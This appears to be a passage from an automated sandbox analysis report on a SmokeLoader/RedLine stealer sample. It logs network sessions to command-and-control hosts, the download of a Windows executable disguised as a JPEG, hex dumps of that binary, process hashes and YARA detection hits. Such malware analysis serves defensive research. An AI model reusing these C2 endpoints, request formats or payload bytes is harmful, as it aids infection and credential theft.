2024-02-05 09:57:35 UTC	804	IN	Data Raw: 31 31 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1123<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-02-05 09:57:35 UTC	1369	IN	Data Raw: 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 Data Ascii: dn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getEle
2024-02-05 09:57:35 UTC	1369	IN	Data Raw: 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 31 6c 36 78 4d 39 62 47 72 69 50 66 64 65 4a 34 49 35 5a 32 65 75 45 32 32 55 5f 67 61 4b 77 56 62 59 42 31 5a 2e 51 63 6d 38 55 2d 31 37 30 37 31 32 37 30 35 35 2d 30 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 64 64 6f 73 2f 67 6c 6f 73 73 61 72 79 2f 6d 61 6c 77 61 72 65 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 Data Ascii: pe="text/plain"> <input type="hidden" name="atok" value="1l6xM9bGriPfdeJ4I5Z2euE22U_gaKwVbYB1Z.Qcm8U-1707127055-0-/api"> <a href="https://www.cloudflare.com/learning/ddos/glossary/malware/" class="cf-btn"
2024-02-05 09:57:35 UTC	853	IN	Data Raw: 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 Data Ascii: or sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflar
2024-02-05 09:57:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	104.21.83.220	443	7096	C:\Users\user\AppData\Local\Temp\7CB9.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-05 09:57:36 UTC	358	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=1l6xM9bGriPfdeJ4I5Z2euE22U_gaKwVbYB1Z.Qcm8U-1707127055-0-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 61 Host: liabilityarrangemenyit.shop
2024-02-05 09:57:36 UTC	61	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 47 68 4a 4c 6b 4f 2d 2d 73 65 65 76 70 61 6c 70 61 64 69 6e 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=GhJLkO--seevpalpadin&j=default
2024-02-05 09:57:36 UTC	812	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bir1drukkk3s2lv5hf9ga43csp; expires=Fri, 31-May-2024 03:44:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wO7zAUHCG2FyjTZnJ9xkarBNT0J1DX8pr6IOJoY6P7I90MwUbwRXTEEerI33ay0BGWTunGbsMtbFrYU3s6MEcH4Iv9fSy50Z73NyL1tofJdYC%2BfpiOloDrua0HkQJ3rSqNKmUdZeG%2FPfMVRJmLU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 850a4a467f9824b1-ATL alt-svc: h3=":443"; ma=86400
2024-02-05 09:57:36 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-02-05 09:57:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49778	103.20.213.70	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-05 09:58:27 UTC	164	OUT	GET /photo/1.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: mmtplonline.com
2024-02-05 09:58:27 UTC	251	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:58:27 GMT Server: Apache Last-Modified: Mon, 29 Jan 2024 05:24:04 GMT Accept-Ranges: bytes Content-Length: 678912 Cache-Control: max-age=290304000, public Connection: close Content-Type: image/jpeg
2024-02-05 09:58:27 UTC	7941	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4f c0 0d 27 0b a1 63 74 0b a1 63 74 0b a1 63 74 64 d7 fd 74 12 a1 63 74 64 d7 c9 74 7a a1 63 74 64 d7 c8 74 2f a1 63 74 02 d9 f0 74 0e a1 63 74 0b a1 62 74 6d a1 63 74 64 d7 cc 74 0a a1 63 74 64 d7 f9 74 0a a1 63 74 64 d7 fe 74 0a a1 63 74 52 69 63 68 0b a1 63 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0a a2 65 63 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$O'ctctctdtctdtzctdt/cttctbtmctdtctdtctdtctRichctPELec
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: 79 08 6a 1b e8 22 24 00 00 59 ff 15 9c 60 48 00 a3 68 33 49 00 e8 02 2b 00 00 a3 18 d2 48 00 e8 4a 2a 00 00 85 c0 79 08 6a 08 e8 fc 23 00 00 59 e8 f8 27 00 00 85 c0 79 08 6a 09 e8 eb 23 00 00 59 6a 01 e8 c2 21 00 00 59 3b c6 74 07 50 e8 d8 23 00 00 59 e8 8e 27 00 00 f6 45 c4 01 74 06 0f b7 4d c8 eb 03 6a 0a 59 51 50 56 68 00 00 40 00 e8 36 96 07 00 89 45 e0 39 75 e4 75 06 50 e8 5e 23 00 00 e8 85 23 00 00 eb 2e 8b 45 ec 8b 08 8b 09 89 4d dc 50 51 e8 e2 25 00 00 59 59 c3 8b 65 e8 8b 45 dc 89 45 e0 83 7d e4 00 75 06 50 e8 44 23 00 00 e8 64 23 00 00 c7 45 fc fe ff ff ff 8b 45 e0 e8 59 17 00 00 c3 e8 ee 32 00 00 e9 89 fe ff ff 8b ff 55 8b ec 83 ec 20 8b 45 08 56 57 6a 08 59 be a0 62 48 00 8d 7d e0 f3 a5 89 45 f8 8b 45 0c 5f 89 45 fc 5e 85 c0 74 0c f6 00 08 74 Data Ascii: yj"$Y`Hh3I+HJ*yj#Y'yj#Yj!Y;tP#Y'EtMjYQPVh@6E9uuP^##.EMPQ%YYeEE}uPD#d#EEY2U EVWjYbH}EE_E^tt
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: 3b c3 72 3e 50 ff 75 fc e8 dd 15 00 00 59 59 85 c0 74 2f c1 ff 02 50 8d 34 b8 ff 15 d4 60 48 00 a3 48 23 49 00 ff 75 08 8b 3d d4 60 48 00 ff d7 89 06 83 c6 04 56 ff d7 a3 44 23 49 00 8b 45 08 eb 02 33 c0 5f 5e 5b c9 c3 8b ff 56 6a 04 6a 20 e8 49 15 00 00 59 59 8b f0 56 ff 15 d4 60 48 00 a3 48 23 49 00 a3 44 23 49 00 85 f6 75 05 6a 18 58 5e c3 83 26 00 33 c0 5e c3 6a 0c 68 58 9a 48 00 e8 15 f8 ff ff e8 59 01 00 00 83 65 fc 00 ff 75 08 e8 fc fe ff ff 59 89 45 e4 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 31 f8 ff ff c3 e8 38 01 00 00 c3 8b ff 55 8b ec ff 75 08 e8 b7 ff ff ff f7 d8 1b c0 f7 d8 59 48 5d c3 8b ff 55 8b ec 8b 45 08 a3 5c d5 48 00 5d c3 8b ff 55 8b ec 56 6a 04 e8 b5 19 00 00 59 ff 35 5c d5 48 00 ff 15 d0 60 48 00 ff 75 08 8b f0 ff 15 d4 60 Data Ascii: ;r>PuYYt/P4`HH#Iu=`HVD#IE3_^[Vjj IYYV`HH#ID#IujX^&3^jhXHYeuYEEE18UuYH]UE\H]UVjY5\H`Hu`
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: 55 e8 0f 86 fc 00 00 00 80 7d ee 00 0f 84 d3 00 00 00 8d 75 ef 8a 0e 84 c9 0f 84 c6 00 00 00 0f b6 46 ff 0f b6 c9 e9 a9 00 00 00 68 01 01 00 00 8d 43 1c 56 50 e8 e1 0b 00 00 8b 4d e4 83 c4 0c 6b c9 30 89 75 e0 8d b1 08 bb 48 00 89 75 e4 eb 2b 8a 46 01 84 c0 74 29 0f b6 3e 0f b6 c0 eb 12 8b 45 e0 8a 80 f4 ba 48 00 08 44 3b 1d 0f b6 46 01 47 3b f8 76 ea 8b 7d 08 83 c6 02 80 3e 00 75 d0 8b 75 e4 ff 45 e0 83 c6 08 83 7d e0 04 89 75 e4 72 e9 8b c7 89 7b 04 c7 43 08 01 00 00 00 e8 69 fb ff ff 6a 06 89 43 0c 8d 43 10 8d 89 fc ba 48 00 5a 66 8b 31 66 89 30 83 c1 02 83 c0 02 4a 75 f1 8b f3 e8 d7 fb ff ff e9 b4 fe ff ff 80 4c 03 1d 04 40 3b c1 76 f6 83 c6 02 80 7e ff 00 0f 85 30 ff ff ff 8d 43 1e b9 fe 00 00 00 80 08 08 40 49 75 f9 8b 43 04 e8 11 fb ff ff 89 43 0c Data Ascii: U}uFhCVPMk0uHu+Ft)>EHD;FG;v}>uuE}ur{CijCCHZf1f0JuL@;v~0C@IuCC
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: d7 ec ff ff 83 c4 0c 89 bd a0 f7 ff ff eb 11 83 a5 a0 f7 ff ff 00 33 c9 39 bd a0 f7 ff ff 75 5d 6a 0a 8d 85 64 f7 ff ff 50 56 e8 8e a5 00 00 8b 8d 64 f7 ff ff 83 c4 0c 48 83 bd 9c f7 ff ff 00 8d 51 01 89 85 80 f7 ff ff 89 95 7c f7 ff ff 75 28 85 c0 0f 88 f5 07 00 00 80 39 24 0f 85 ec 07 00 00 83 f8 64 0f 8d e3 07 00 00 3b 85 6c f7 ff ff 7e 06 89 85 6c f7 ff ff 33 c9 8b f2 8b 95 80 f7 ff ff 8b 85 60 f7 ff ff ff 24 85 75 99 40 00 83 f8 08 0f 84 b5 07 00 00 83 f8 07 0f 87 42 0f 00 00 eb d9 39 8d 9c f7 ff ff 75 0c 39 bd a0 f7 ff ff 0f 84 2c 0f 00 00 39 bd 9c f7 ff ff 0f 85 01 03 00 00 83 bd a0 f7 ff ff ff 0f 85 f4 02 00 00 e9 0e 0f 00 00 83 8d a8 f7 ff ff ff 89 8d 40 f7 ff ff 89 8d 44 f7 ff ff 89 8d 70 f7 ff ff 89 8d 68 f7 ff ff 89 8d b0 f7 ff ff 89 8d 5c f7 Data Ascii: 39u]jdPVdHQ\|u(9$d;l~l3`$u@B9u9,9@Dph\
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: 66 04 00 83 66 08 00 5f 8b c6 5e 5d c2 08 00 8b 41 08 c3 8b 41 08 85 c0 74 08 8b 49 04 8a 44 01 ff c3 32 c0 c3 8b ff 55 8b ec ff 71 08 ff 71 04 ff 75 0c ff 75 08 e8 ea fc ff ff 83 c4 10 5d c2 08 00 8b ff 55 8b ec 83 79 04 01 75 17 6a 04 68 64 79 48 00 ff 75 0c ff 75 08 e8 c6 fc ff ff 83 c4 10 eb 03 8b 45 08 5d c2 08 00 8b ff 55 8b ec a1 74 df 48 00 80 38 40 ff 75 0c 75 10 8b 4d 08 ff 05 74 df 48 00 e8 d1 fc ff ff eb 0a ff 75 08 e8 1f 49 00 00 59 59 8b 45 08 5d c3 8b ff 55 8b ec ff 75 08 e8 f2 fb ff ff 8b 45 08 59 5d c3 8b ff 55 8b ec 56 8b f1 80 7e 04 01 7f 2d 83 3e 00 8b 45 08 74 1f 83 f8 02 74 1a 83 f8 03 74 15 85 c0 74 17 50 e8 eb f9 ff ff 59 50 8b ce e8 71 fd ff ff eb 06 50 e8 fe fd ff ff 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 53 56 8b f1 33 db 39 1e 74 Data Ascii: ff_^]AAtID2Uqquu]UyujhdyHuuE]UtH8@uuMtHuIYYE]UuEY]UV~->EttttPYPqP^]USV39t
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: ff 50 8d 45 ec 6a 01 50 e8 9f f9 ff ff eb 0d 6a 01 8d 45 ec 6a 01 50 e8 bd 00 00 00 8b 08 8b 40 04 83 c4 0c 89 45 f8 89 4d f4 85 c9 75 07 c6 05 8c df 48 00 01 80 7d ff 00 75 66 8d 45 e4 50 e8 59 f7 ff ff 59 50 8d 45 ec 50 6a 3c 8d 4d dc e8 b3 e4 ff ff 8b c8 e8 21 e6 ff ff 8d 45 ec 50 8d 4d f4 e8 f6 e3 ff ff 8b 4d f4 85 c9 74 13 8b 01 ff 50 04 3c 3e 75 0a 6a 20 8d 4d f4 e8 43 e6 ff ff 6a 3e 8d 4d f4 e8 39 e6 ff ff 80 7d 0c 00 74 10 a1 74 df 48 00 80 38 00 74 06 ff 05 74 df 48 00 8b 45 08 8b 4d f4 89 3d 6c df 48 00 5f 89 35 68 df 48 00 89 08 8b 4d f8 5e 89 1d 70 df 48 00 89 48 04 5b c9 c3 8b 45 08 81 60 04 ff 00 ff ff 83 20 00 c6 40 04 02 c9 c3 8b ff 55 8b ec 83 ec 38 a1 4c b1 48 00 33 c5 89 45 fc 53 8b 1d 74 df 48 00 8a 0b 0f be c1 56 8b 75 08 83 e8 30 89 Data Ascii: PEjPjEjP@EMuH}ufEPYYPEPj<M!EPMMtP<>uj MCj>M9}ttH8ttHEM=lH_5hHM^pHH[E` @U8LH3EStHVu0
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: 00 d1 e8 f7 d0 a8 01 8b c3 74 37 83 e0 0c 3c 0c 75 4a 83 7d 18 00 0f 85 0b ff ff ff 8d 45 f4 50 8d 45 ac 50 8d 45 b4 50 e8 d0 e5 ff ff 59 8b c8 e8 07 c7 ff ff 8b 08 8b 40 04 89 4d f4 89 45 f8 eb 1a 83 e0 0c 3c 0c 75 13 8d 45 ac 50 e8 ab e5 ff ff 59 50 8d 4d f4 e8 ba ba ff ff f6 c3 02 74 28 8d 45 f4 50 8d 45 c4 50 68 f4 7b 48 00 8d 4d ac e8 7e c2 ff ff 8b c8 e8 bf c6 ff ff 8b 45 c4 89 45 f4 8b 45 c8 89 45 f8 f6 c3 01 74 28 8d 45 f4 50 8d 45 c4 50 68 ec 7b 48 00 8d 4d ac e8 51 c2 ff ff 8b c8 e8 92 c6 ff ff 8b 45 c4 89 45 f4 8b 45 c8 89 45 f8 33 d2 bb 00 01 00 00 39 55 18 0f 85 90 00 00 00 8b 75 0c 39 16 74 60 8b 4e 04 85 cb 75 42 8b 45 14 39 10 74 3b 50 8d 45 c4 50 6a 20 8d 4d ac e8 dd c4 ff ff 8b c8 e8 4b c6 ff ff 8b 45 c4 89 45 d4 8b 45 c8 6a 20 8d 4d d4 Data Ascii: t7<uJ}EPEPEPY@ME<uEPYPMt(EPEPh{HM~EEEEt(EPEPh{HMQEEEE39Uu9t`NuBE9t;PEPj MKEEEj M
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: 85 1c e5 ff ff 8b 06 03 c7 83 78 38 00 74 15 8a 50 34 88 55 f4 88 4d f5 83 60 38 00 6a 02 8d 45 f4 50 eb 4b 0f be c1 50 e8 af 6d ff ff 59 85 c0 74 3a 8b 8d 34 e5 ff ff 2b cb 03 4d 10 33 c0 40 3b c8 0f 86 a5 01 00 00 6a 02 8d 85 44 e5 ff ff 53 50 e8 15 2f 00 00 83 c4 0c 83 f8 ff 0f 84 92 04 00 00 43 ff 85 40 e5 ff ff eb 1b 6a 01 53 8d 85 44 e5 ff ff 50 e8 f1 2e 00 00 83 c4 0c 83 f8 ff 0f 84 6e 04 00 00 33 c0 50 50 6a 05 8d 4d f4 51 6a 01 8d 8d 44 e5 ff ff 51 50 ff b5 20 e5 ff ff 43 ff 85 40 e5 ff ff ff 15 48 61 48 00 8b f0 85 f6 0f 84 3d 04 00 00 6a 00 8d 85 2c e5 ff ff 50 56 8d 45 f4 50 8b 85 24 e5 ff ff 8b 00 ff 34 07 ff 15 28 60 48 00 85 c0 0f 84 0a 04 00 00 8b 85 40 e5 ff ff 8b 8d 30 e5 ff ff 03 c1 89 85 38 e5 ff ff 39 b5 2c e5 ff ff 0f 8c f6 03 00 00 Data Ascii: x8tP4UM`8jEPKPmYt:4+M3@;jDSP/C@jSDP.n3PPjMQjDQP C@HaH=j,PVEP$4(`H@089,
2024-02-05 09:58:28 UTC	8000	IN	Data Raw: ff ff c7 00 09 00 00 00 e8 7b 0b ff ff 83 20 00 89 5d dc 89 5d e0 c7 45 fc fe ff ff ff e8 0c 00 00 00 8b 45 dc 8b 55 e0 e8 f3 1d ff ff c3 ff 75 08 e8 4f 12 00 00 59 c3 8b ff 55 8b ec ff 05 44 d5 48 00 68 00 10 00 00 e8 4c 3a ff ff 59 8b 4d 08 89 41 08 85 c0 74 0d 83 49 0c 08 c7 41 18 00 10 00 00 eb 11 83 49 0c 04 8d 41 14 89 41 08 c7 41 18 02 00 00 00 8b 41 08 83 61 04 00 89 01 5d c3 6a 02 e8 a3 29 ff ff 59 c3 8b ff 55 8b ec 83 ec 4c a1 4c b1 48 00 33 c5 89 45 fc 53 33 db 56 8b 75 08 57 89 5d d4 89 5d e4 89 5d e0 89 5d d8 89 5d dc 89 75 b4 89 5d b8 39 5e 14 0f 84 19 03 00 00 8d 46 04 39 18 75 20 50 0f b7 46 30 68 04 10 00 00 50 8d 45 b4 53 50 e8 d8 d3 ff ff 83 c4 14 85 c0 0f 85 ca 02 00 00 6a 04 e8 a9 39 ff ff 6a 02 bf 80 01 00 00 57 89 45 d4 e8 de 39 ff Data Ascii: { ]]EEUuOYUDHhL:YMAtIAIAAAAa]j)YULLH3ES3VuW]]]]]u]9^F9u PF0hPESPj9jWE9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50011	142.251.15.93	443	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-05 10:00:26 UTC	666	OUT	GET /api/stats/watchtime?ns=yt&el=detailpage&inview=1&feature=related&cpn=rSxKbKsd6w81ZJ5T&docid=he6tgOIX_rU&ver=2&ei=UaTAZeGsMrm8_9EPmO-ROA&fmt=243&fs=0&rt=539&of=wbAUJoLFDaeeOSJrHXH1sg&euri=&lact=4019&live=dvr&cl=602892282&state=playing&vm=CAEQABgEOjJBSHFpSlRMWmFHS19wcll0S1Z0cWtYSXpCb2lKUGEyVEEwYWFIMGRDNm5TRnB1X09KZ2JiQVBta0tESXI2MWtnbHZvdkxiLU9lbE5JbXJITlpYZzBZNG01d25CbzZqLU1XU1dkeUZxS0VMV2hRR1ZmekpRcFlhTVlBYlQtWXZ1Q1ZsUWFRWVhnUWJDOVdSMVBrejctV3doAg&volume=100&cbr=Chrome&cbrver=102.0.0.0&c=WEB&cplayer=UNIPLAYER&cver=2.20231219.04.00&cos=Windows&cosver=10.0&cplatform=DESKTOP&delay=5&hl=en_US&rtn=839&aftm=140&rti=539&plid=AAYQnrtSYNYWq7ag&muted=0 HTTP/1.1
2024-02-05 10:00:27 UTC	221	OUT	Data Raw: 48 6f 73 74 3a 20 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4f 70 65 72 61 2f 39 2e 38 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 32 29 3b 20 55 29 20 50 72 65 73 74 6f 2f 32 2e 31 30 2e 32 38 39 20 56 65 72 73 69 6f 6e 2f 31 32 2e 30 32 0d 0a 43 6f 6f 6b 69 65 3a 20 47 50 53 3d 31 3b 20 59 53 43 3d 37 48 63 73 2d 42 37 50 51 2d 41 3b 20 56 49 53 49 54 4f 52 5f 49 4e 46 4f 31 5f 4c 49 56 45 3d 66 64 34 66 46 7a 4d 31 6d 47 30 3b 0d 0a 0d 0a Data Ascii: Host: www.youtube.comConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Opera/9.80 (Windows NT 6.2); U) Presto/2.10.289 Version/12.02Cookie: GPS=1; YSC=7Hcs-B7PQ-A; VISITOR_INFO1_LIVE=fd4fFzM1mG0;
2024-02-05 10:00:27 UTC	410	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Date: Mon, 05 Feb 2024 10:00:27 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: Video Stats Server Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	10:56:53
Start date:	05/02/2024
Path:	C:\Users\user\Desktop\5Yzloz244r.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\5Yzloz244r.exe
Imagebase:	0x400000
File size:	252'416 bytes
MD5 hash:	E6399303CEAA23310986CA0F5F6444DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1703009629.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1703174858.000000000064E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:56:58
Start date:	05/02/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:57:18
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Roaming\jjdjbtc
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jjdjbtc
Imagebase:	0x400000
File size:	252'416 bytes
MD5 hash:	E6399303CEAA23310986CA0F5F6444DF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1943005542.000000000066E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp, Author: unknown 